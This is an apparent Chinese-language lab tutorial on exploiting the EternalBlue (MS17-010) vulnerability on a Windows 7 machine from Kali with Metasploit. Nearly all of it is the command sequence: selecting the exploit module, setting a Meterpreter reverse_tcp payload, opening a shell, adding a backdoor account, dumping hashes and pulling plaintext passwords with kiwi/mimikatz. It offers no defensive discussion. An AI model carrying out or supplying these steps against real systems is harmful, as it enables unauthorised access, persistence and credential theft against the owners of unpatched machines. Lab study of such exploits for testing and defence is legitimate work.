kail使用msf工具利用永恒之蓝漏洞攻击win7

实验环境

靶机:win7

IP:192.168.43.144

攻击机:kali

ip:192.168.43.150

实验开始:

第一步:

打开msfconsole进入到工具里面

kail使用msf工具利用永恒之蓝漏洞攻击win7_第1张图片

搜索一下永恒之蓝漏洞

search ms17_010

kail使用msf工具利用永恒之蓝漏洞攻击win7_第2张图片

这上面有三个可以利用的漏洞我们选择第一个

use exploit/windows/smb/ms17_010_eternalblue

接下来我们可以查看需要设置的IP地址和端口

show options 另外Required为yes的也需要设置

kail使用msf工具利用永恒之蓝漏洞攻击win7_第3张图片

set rhosts 192.168.43.144 

除此之外还需要设置payload

set payload

set payload windows/x64/meterpreter/reverse_tcp

设置完成后就进行攻击

kail使用msf工具利用永恒之蓝漏洞攻击win7_第4张图片

我们输入shell就可以进入到win7的cmd

如果出现乱码的话就输入

chcp 65001

我们查看win7的IP

ipconfig

kail使用msf工具利用永恒之蓝漏洞攻击win7_第5张图片

添加用户

net user hacker hacker123 /add

查看系统信息

sysinfo

还可以使用mimkatz抓取明文密码

先使用hashdump抓取密码

使用kiwi

load kiwi

查看一下帮助命令

help kiwi

kail使用msf工具利用永恒之蓝漏洞攻击win7_第6张图片

 最后使用creds_all命令抓取明文密码

kail使用msf工具利用永恒之蓝漏洞攻击win7_第7张图片 

还可以使用screenshot命令截屏

这是几个渗透后可以使用的命令

其实还有很多可以执行的操作就不一一列举了

 

你可能感兴趣的:(安全)